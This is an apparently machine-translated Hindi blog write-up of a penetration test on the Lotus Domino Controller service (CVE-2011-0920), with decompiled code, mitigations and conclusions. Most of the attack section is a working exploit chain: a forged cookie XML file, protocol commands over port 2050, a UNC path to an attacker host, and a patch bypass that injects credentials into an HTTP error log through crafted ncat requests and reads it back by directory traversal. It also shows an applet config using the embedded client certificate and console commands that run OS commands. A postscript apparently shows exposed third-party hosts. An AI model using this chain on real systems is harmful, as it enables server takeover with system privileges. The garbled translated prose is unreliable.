लोटस डोमिनोज में प्रवेश

लोटस डोमिनोज़ नियंत्रक सेवा कमजोरियों को उजागर करना

हाल ही में, मैं अक्सर कहानियों के बारे में बताता हूं कि कैसे एक साधारण पेन-टेस्ट पर लोकप्रिय सॉफ़्टवेयर में 0-दिन की भेद्यता की पहचान करना या एक निजी शोषण विकसित करना संभव है। वास्तव में, पेन परीक्षण के दौरान इस तरह की समस्या शायद ही कभी और चुनिंदा रूप से हल की जाती है, और इसके कारण हैं।

फिर भी, मैं एक कहानी (हाँ, एक कहानी) साझा करना चाहता हूं कि कैसे, जब इस तरह की समस्याओं को हल करते हैं, तो कलम परीक्षण एक वेब एप्लिकेशन के मापदंडों में नीरस स्कैनिंग, ब्रूट बल और स्टफिंग कोट्स के दायरे से परे जाता है। अर्थात्, यह पोस्ट लोटस डोमिनोज़ सर्वर नियंत्रक में एक साधारण बग के बारे में बात करेगी, कि कैसे एक निजी शोषण बनाया गया था, और एक शून्य-दिन की समस्या भी पाई गई जो आज भी प्रासंगिक है।

पेनेट्रेशन टेस्ट

तो, प्रवेश परीक्षा। यह विषय हर साल विभिन्न ब्लॉगों और विभिन्न विशेषज्ञों पर लगातार पेश किया जाता है। और यह कोई दुर्घटना नहीं है: इस सेवा में कई अलग-अलग सूक्ष्मताएं और नुकसान हैं। लेकिन मैं इस चीज की आवश्यकता, उपयोगिता और सामग्री के बारे में पानी को नहीं हिलाऊंगा, मैं खुद काम के बारे में बात करना चाहता हूं। पेन टेस्ट क्या होता है इसके बारे में पेन टेस्ट।

कोई भी पेन परीक्षक मुख्य कार्य को पूरा करने के लिए कई उप-कार्यों को हल करता है - सूचना प्रणाली के घटकों पर हमलों का कार्यान्वयन। उसी समय, मैं कोष्ठक के बाहर मुख्य कार्य के विषय पर एक विस्तृत विवरण और संभावित बदलाव छोड़ दूंगा, क्योंकि यह फिर से दिलचस्प नहीं है, लेकिन यहां दो या तीन उप-कार्य हैं जो "अत्याधुनिक" हैं:

• भेद्यता की खोज (और पुष्टि)
• विकास का शोषण करें
• भेद्यता का शोषण

ऐसा हुआ कि एक पेन-टेस्ट के दौरान, सार्वजनिक रूप से उपलब्ध कारनामों के बिना, यहां तक ​​कि PoCs या समस्या के विस्तृत विवरण के बिना कमजोरियों के एक पूरे सेट की खोज की गई थी। इसलिए, इस तरह की भेद्यता के लिए, अपने आप से सब कुछ सीखने और एक निजी शोषण लिखने का फैसला किया गया था।

लोटस डोमिनोज़ सर्वर नियंत्रक में प्रमाणीकरण बाईपास

CVE-2011-0920

इस भेद्यता की खोज पैट्रिक कार्लसन ने की और ZDI में बेची गई। तो ZDI वेबसाइट से विवरण केवल जानकारी है जो हमारे पास है। लघु निवृत्ति:

“डोमिनोज़ कंट्रोलर सर्विस, टीसीपी पोर्ट 2050 में भेद्यता। प्रमाणीकरण प्रक्रिया के दौरान, एक हमलावर UNC पथ के रूप में COOKIEFILE पैरामीटर मान सेट कर सकता है, इस प्रकार से प्रमाणीकरण के दौरान स्रोत प्रमाणीकरण डेटा फ़ाइल और प्रमाणीकरण मान दोनों पर नियंत्रण स्थापित होता है। यह आपको प्रमाणीकरण सत्यापन तंत्र को बायपास करने और प्रशासन कंसोल तक पहुंच प्राप्त करने की अनुमति देता है। सिस्टम विशेषाधिकारों के साथ कोड निष्पादन की ओर जाता है। "

विवरण, हालांकि विस्तृत नहीं है, लेकिन जो हो रहा है उसके बारे में पर्याप्त कहते हैं। इसका मतलब है कि आप पोर्ट नंबर 2050 से कनेक्ट कर सकते हैं, कुछ प्रोटोकॉल के माध्यम से COOKIEFILE पैरामीटर को स्लिप कर सकते हैं, जो \\ ATTACKER_HOST \ FILE जैसे पथ को दर्शाता है। और इस फ़ाइल में उपयोगकर्ता नाम और पासवर्ड रखें और उसी उपयोगकर्ता नाम और पासवर्ड का उपयोग करके लॉग इन करें। यह प्रोटोकॉल और फ़ाइल प्रारूप को पार्स करने के लिए बस थोड़ा सा रह गया है। Nmap स्कैन का उपयोग करके, आप यह निर्धारित कर सकते हैं कि सभी काम SSL पर किए गए हैं, लेकिन SSL आवरण में संचार प्रोटोकॉल देखा जाना बाकी है। वास्तव में, यह अत्यंत सरल है: यह ध्यान रखना पर्याप्त है कि लोटस डोमिनोज़ कंट्रोलर सेवा पूरी तरह से जावा, क्लाइंट और सर्वर दोनों भागों, सभी को एक फ़ाइल में लिखी गई है:

C:\Program Files\IBM\Lotus\Domino\Data\domino\java\dconsole.jar

यह फ़ाइल आसानी से विघटित हो जाती है (उदाहरण के लिए, डीजे जावा डेकोम्पेलर का उपयोग करना, हालांकि यह उतना अच्छा नहीं है जितना हम चाहेंगे)। उसके बाद, हम अनुरोधों को जोड़ने और संसाधित करने के लिए जिम्मेदार कोड की तलाश करते हैं। अनुरोध प्रसंस्करण कक्षा NewClient में किया जाता है। इस श्रेणी में, फॉर्म के सादे अनुरोध: #COMMAND param1, param2, ... पार्स किए गए हैं। सभी कमांड अलग-अलग वर्णित हैं:

  . . . //  ReadFromUser(); // s1 –   2050/tcp if(s1.equals("#EXIT")) return 2; . . . if(s1.equals("#APPLET")) return 6; . . . if(s1.equals("#COOKIEFILE")) if(stringtokenizer.hasMoreTokens()) //     - // : #COOKIEFILE <cookieFilename> cookieFilename = stringtokenizer.nextToken().trim(); // return 7; . . . if(s1.equals("#UI")) if(stringtokenizer.hasMoreTokens()) // : #UI <login>,<password> usr = stringtokenizer.nextToken(",").trim(); //Login if(usr == null) return 4; if(stringtokenizer.hasMoreTokens()) // passwords pwd = stringtokenizer.nextToken().trim(); //Password return 0; 

तो हम COOKIEFILE पैरामीटर से मिले। हालांकि, एक पर्याप्त नहीं है। मुख्य लूप पर विचार करें:

  do { int i = ReadFromUser(); //Point.1 if(i == 2) break; //if #EXIT . . . if(i == 6) //if #APPLET Point.2 { appletConnection = true; continue; } . . . //     admindata.xml . . . if(userinfo == null) //Point.9 { //     admindata.xml WriteToUser("NOT_REG_ADMIN"); continue; } . . . if(!appletConnection) //Point.3 flag = vrfyPwd.verifyUserPassword(pwd, userinfo.userPWD()) else flag = verifyAppletUserCookie(usr, pwd); // if #APPLET . . . if(flag) WriteToUser("VALID_USER"); else WriteToUser("WRONG_PASSWORD"); } while(true); if(flag) { //  . . . }else { // } 

जैसा कि आप देख सकते हैं, हमारे पास दो प्रमाणीकरण विकल्प (Point.3) हैं। पहला लॉगिन और पासवर्ड द्वारा साधारण है, और दूसरा लॉगिन और पासवर्ड द्वारा भी है, लेकिन COOKIEFILE का उपयोग करके। इस स्थिति में, दूसरा विकल्प केवल तभी चुना जाता है जब उससे पहले एक #APPLET (प्वाइंट.2) कमांड था। सभी आदेशों को एक लूप में बारी-बारी से पढ़ा जाता है (Point.1)। इसलिए, सिर्फ #COOKIEFILE पर्याप्त नहीं है।

अब हम प्रोटोकॉल के प्रारूप को समझते हैं, फ़ाइल का प्रारूप क्या है? सत्यापित करेंAppletUserCookie फ़ंक्शन पर विचार करें:

 File file = new File(cookieFilename); //Point.4 . . . inputstreamreader = new InputStreamReader(new FileInputStream(file), "UTF8"); . . . inputstreamreader.read(ac, 0, i); //Point.5 . . . String s7 = new String(ac); . . . do { if((j = s7.indexOf("<user ", j)) <= 0) //Point.6 break; int k = s7.indexOf(">", j); if(k == -1) break; String s2 = getStringToken(s7, "name=\"", "\"", j, k); //Point.7 . . . String s3 = getStringToken(s7, "cookie=\"", "\"", j, k); . . . String s4 = getStringToken(s7, "address=\"", "\"", j, k); . . . //Point.8 if(usr.equalsIgnoreCase(s2) && pwd.equalsIgnoreCase(s3) &&\ appletUserAddress.equalsIgnoreCase(s4)) { flag = true; break; } . . . } while(true); 

यह देखा जा सकता है कि Point.4 के रूप में टिप्पणी की गई लाइन में, फ़ाइल खुलती है, जिसका नाम उपयोगकर्ता द्वारा निर्धारित किया जाता है (#COOKIEFILE कमांड को पार्स करते समय ReadFromUser () फ़ंक्शन में वैरिएबल को प्रारंभ किया जाता है)। इसके अलावा, इनपुट को किसी भी तरह से फ़िल्टर नहीं किया जाता है, कम से कम UNC पथ हो सकता है। इसके बाद, फाइल को एस 7 लाइन (पॉइंट.5) में पढ़ा जाता है। फिर इस लाइन को एक लूप में संसाधित किया जाता है, जहां यह देखा जा सकता है कि यह फॉर्म की एक साधारण XML फाइल है:

 <user name=”usr” cookie=”pass” address=”value”> 

फिर, लाइन में पॉइंट 8 के रूप में टिप्पणी की गई, लॉगिन, पासवर्ड और एड्रेस वैल्यू (#ADDRESS) की तुलना संबंधित टैग विशेषताओं के साथ की जाती है। चूंकि यह फ़ाइल एक दूरस्थ होस्ट (UNC पथ को खिसकाकर) से पढ़ी जा सकती है, इसलिए हमला सरल और स्पष्ट हो जाता है।

यह ZDI-11-110 के लिए भेद्यता का शोषण कैसे दिखता है

1. एक फ़ाइल बनाएं (कुकी। Xml):

 <user name="admin" cookie="dsecrg" address="10.10.0.1"> 

2. हम ncat का उपयोग करते हैं



"#APPLET" कमांड सर्वर को बताता है कि हम प्रमाणीकरण के लिए कुकी का उपयोग करना चाहते हैं। अब, जब हम "# यूआई" कमांड का उपयोग करके प्रमाणित करने का प्रयास करते हैं, तो सर्वर उस पथ के साथ फ़ाइल को खोलने का प्रयास करेगा, जिसे हमने "#COOKIEFILE" का उपयोग करके दिया था। जिसके बाद वह वहां से प्रमाणीकरण डेटा लेगा और #UI कमांड के बाद दर्ज किए गए लोगों से उसकी तुलना करेगा। "#EXIT" कमांड के बाद, सर्वर प्रमाणित उपयोगकर्ता के लिए इनपुट प्रोसेसिंग शुरू करेगा, और आप पहले से ही सेवा का प्रबंधन कर सकते हैं, साथ ही ओएस कमांड निष्पादित कर सकते हैं!

ऐसा लगता है कि परी की कहानी खत्म हो गई है। इसके अलावा, आईबीएम ने इस समस्या के लिए एक समाधान किया, और एक भी नहीं! ये नवाचार संस्करण 8.5.2FP3 और 8.5.3 के बाद से प्रकट हुए हैं।

सुधार १।

अब, पोर्ट 2050 से कनेक्ट करने के लिए एक वैध क्लाइंट प्रमाणपत्र की आवश्यकता है। यानी Ncat और Nmap अब पोर्ट 2050 के साथ काम नहीं करते हैं।

सुधार २।

अब फ़ाइल नाम से पहले "। \" जोड़ा गया है, जिसका अर्थ है कि अब हम UNC का उपयोग नहीं कर सकते हैं। भेद्यता तय। पैच पर्याप्त लगता है।

वास्तव में ऐसा नहीं है। फिर से कोड की तर्ज पर एक नज़र डालें (पॉइंट.6 और प्वाइंट 7 के रूप में टिप्पणी की गई है)। GetStringToken फ़ंक्शन वास्तव में एक विकल्प है। इसलिए काफी स्पष्ट प्रश्न: इस मॉड्यूल को लागू करते समय प्रोग्रामर ने अपने स्वयं के XML पार्सर लिखने का सहारा क्यों लिया? जाहिर है, यह पार्सर किसी भी फ़ाइल के साथ काम करता है जिसमें संबंधित लाइनें होती हैं: "<उपयोगकर्ता", "नाम =", आदि। दूसरे शब्दों में, यहाँ हम उम्मीद करते हैं:

 <user name="usr" cookie="psw" address="dsecrg"> 

लेकिन यहाँ क्या आप में पर्ची कर सकते हैं और यह बस के रूप में अच्छी तरह से पार्स है:

 trashtrash<user sdsdasdsdname=”usr”sadasd asdnkasdk cookie=”psw”sssssaddress=”dsecrg”bf %> 

इसका क्या मतलब है? जाहिर है, हमें कोड के एक ही खंड में एक और भेद्यता मिली। अर्थात्, एक स्थानीय फ़ाइल को जोड़ने की क्षमता के साथ संयोजन में (UNC नहीं कर सकता है, लेकिन ट्रैवर्सल निर्देशिका अभी भी है कि हम कैसे कर सकते हैं: #COOKIEFILE .. \ .. \ .. \ .. \ फ़ाइल -> । \ _ \ _ \ _)। .. \ फ़ाइल), आप प्रमाणीकरण डेटा को किसी भी योग्य फ़ाइल में इंजेक्ट कर सकते हैं।

उदाहरण के लिए:

1. Microsoft HTTPAPI सेवा का उपयोग करते हुए इंजेक्शन के माध्यम से (सही समय पर एक सैन्य, दुश्मन सर्वर पर इस लॉग फ़ाइल को खोजने के लिए धन्यवाद करने के लिए धन्यवाद):

 C:\> ncat targethost 49152 GET /<user HTTP/1.0 C:\> ncat targethost 49152 GET /user="admin"cookie="pass"address="http://twitter/asintsov" HTTP/1.0 

यहाँ \ r \ n बस दर्ज करें!

2. अब सर्वर पर लॉग फ़ाइल इस तरह होगी:

 #Software: Microsoft HTTP API 2.0 #Version: 1.0 #Date: 2011-08-22 09:19:16 #Fields: date time c-ip c-port s-ip s-port cs-version cs-method cs-uri sc-status s-siteid s-reason s-queuename 2011-08-22 09:19:16 10.10.10.101 46130 10.10.9.9 47001 - - - 400 - BadRequest - 2011-08-22 09:19:16 10.10.10.101 46234 10.10.9.9 47001 HTTP/1.0 GET / 404 - NotFound - 2011-08-26 11:53:30 10.10.10.101 52902 10.10.9.9 47001 HTTP/1.0 GET <user 404 - NotFound - 2011-08-26 11:53:30 10.10.10.101 52905 10.10.9.9 47001 HTTP/1.0 GET name="admin"cookie="pass"address="http://twitter/asintsov"> 404 - NotFound - 2011-08-22 09:19:16 10.10.10.101 46130 10.10.9.9 47001 - - - 400 - BadRequest - 

दो अनुरोध संयोग से नहीं किए गए थे, क्योंकि आईबीएम पार्सर स्ट्रिंग "<उपयोगकर्ता" के लिए एक स्थान के साथ दिखेगा! और अनुरोध में सभी रिक्त स्थान "% 20" के रूप में एन्कोड किए गए हैं, और इसलिए यह हमें सूट नहीं करता है। फिर हम पहला अनुरोध करते हैं ताकि "<उपयोगकर्ता" के बाद वेब सर्वर स्वयं एक स्थान (अनुरोध और परिणाम "404 - नोटफ़ाउंड" के बीच) सेट करे। दूसरी क्वेरी के साथ हम शेष को धक्का देंगे।

खैर, लगभग सब कुछ तैयार है, यह केवल 2050 से कनेक्ट करना सीखना है, क्योंकि हमारे पास एसएसएल प्रमाण पत्र नहीं है। या है? यह याद रखना कि dconsole.jar एक एप्लेट के रूप में क्लाइंट भाग के लिए भी जिम्मेदार है, यह स्पष्ट है कि वहां एक प्रमाण पत्र होना चाहिए - और यह वहां है। और कुंजी वहाँ है। सब कुछ है। सिद्धांत रूप में, आप कुंजी को खींच सकते हैं और एक शोषण लिख सकते हैं, लेकिन यदि आप बहुत आलसी हैं, तो आप सीधे इस एपलेट का उपयोग कर सकते हैं:

 <applet name = "DominoConsole" code = "lotus.domino.console.DominoConsoleApplet.class" codebase = "http://127.0.0.1/domjava/" archive = "dconsole.jar" width = "100%" height = "99%“> <PARAM NAME="debug" VALUE="true"> <PARAM NAME="port" VALUE="2050"> <PARAM NAME="useraddress" VALUE="http://twitter/asintsov"> <PARAM NAME="username" VALUE="admin"> <PARAM NAME="cookiefile" VALUE="\..\..\..\windows\system32\logfiles\httperr\httperr1.log"> <PARAM NAME="cookievalue" VALUE="pass"> <PARAM NAME="onLoad" VALUE="onLoadConsole"> </applet> 

हम इस एप्लेट को किसी भी ब्राउज़र में लोड करते हैं, स्थानीय पोर्ट 2050 से रिमोट एक में एक रीडायरेक्ट को जोड़ते हैं, और यह है - प्रभाव प्राप्त होता है। वीडियो उदाहरण:

कंसोल से निष्पादन आदेश। विकल्प 1:

LOAD cmd.exe /c command

कंसोल से निष्पादन आदेश। विकल्प 2:

$ command

संरक्षण:

• पोर्ट 2050 को वास्तव में फ़िल्टर करने की आवश्यकता है।
• अतिरिक्त कंसोल पासवर्ड सेट करके कंसोल में खतरनाक आदेशों को अक्षम करें (पहले संस्करण में कंसोल से कमांड निष्पादित करने से बचाता है)।
• फ़ाइल admindata.xml की जाँच करें। प्रत्येक उपयोगकर्ता के लिए, आपको विशेषाधिकारों की जाँच करने की आवश्यकता है। 4, 25 या 26 का मान बताता है कि इस उपयोगकर्ता को सिस्टम कमांड निष्पादित करने का अधिकार है! उन्हें हटाकर, हम दूसरे संस्करण में कंसोल से कमांड निष्पादित करने से खुद को बचाएंगे।

नोट:

उपरोक्त सभी विकल्पों में हमलावर, प्रमाणीकरणों को सफलतापूर्वक बायपास करने के लिए, सही लॉगिन मान जानने की आवश्यकता है। किसी भी स्थिति में, यह गणना की जा सकती है, क्योंकि गैर-मौजूद लॉगिन के मामले में, NOT_REG_ADMIN त्रुटि उत्पन्न होती है, और यदि पासवर्ड गलत है, तो WRONG_PASSWORD (Point.9)।

इंटरनेट से PS हमला

सबनेट मॉस्को यूनिवर्सिटी:



.Gov डोमेन, या अमेरिकी वैज्ञानिकों को फायरवॉल पसंद नहीं है:



यहां तक ​​कि आईबीएम स्वयं पोर्ट 2050 को फ़िल्टर नहीं कर सकता है और लोटस को अपडेट कर सकता है (+ लॉगिन का अनुमान लगाने का एक प्रदर्शन):

निष्कर्ष

• पैच हमेशा समस्या को अंत तक हल नहीं करते हैं।
• फ़ायरवॉल सबसे अच्छा संरक्षण है।
• अंतर्निहित सुरक्षा सेटिंग्स को अनदेखा न करें।

... और फिर भी 0day कमजोरियां भयानक नहीं हैं।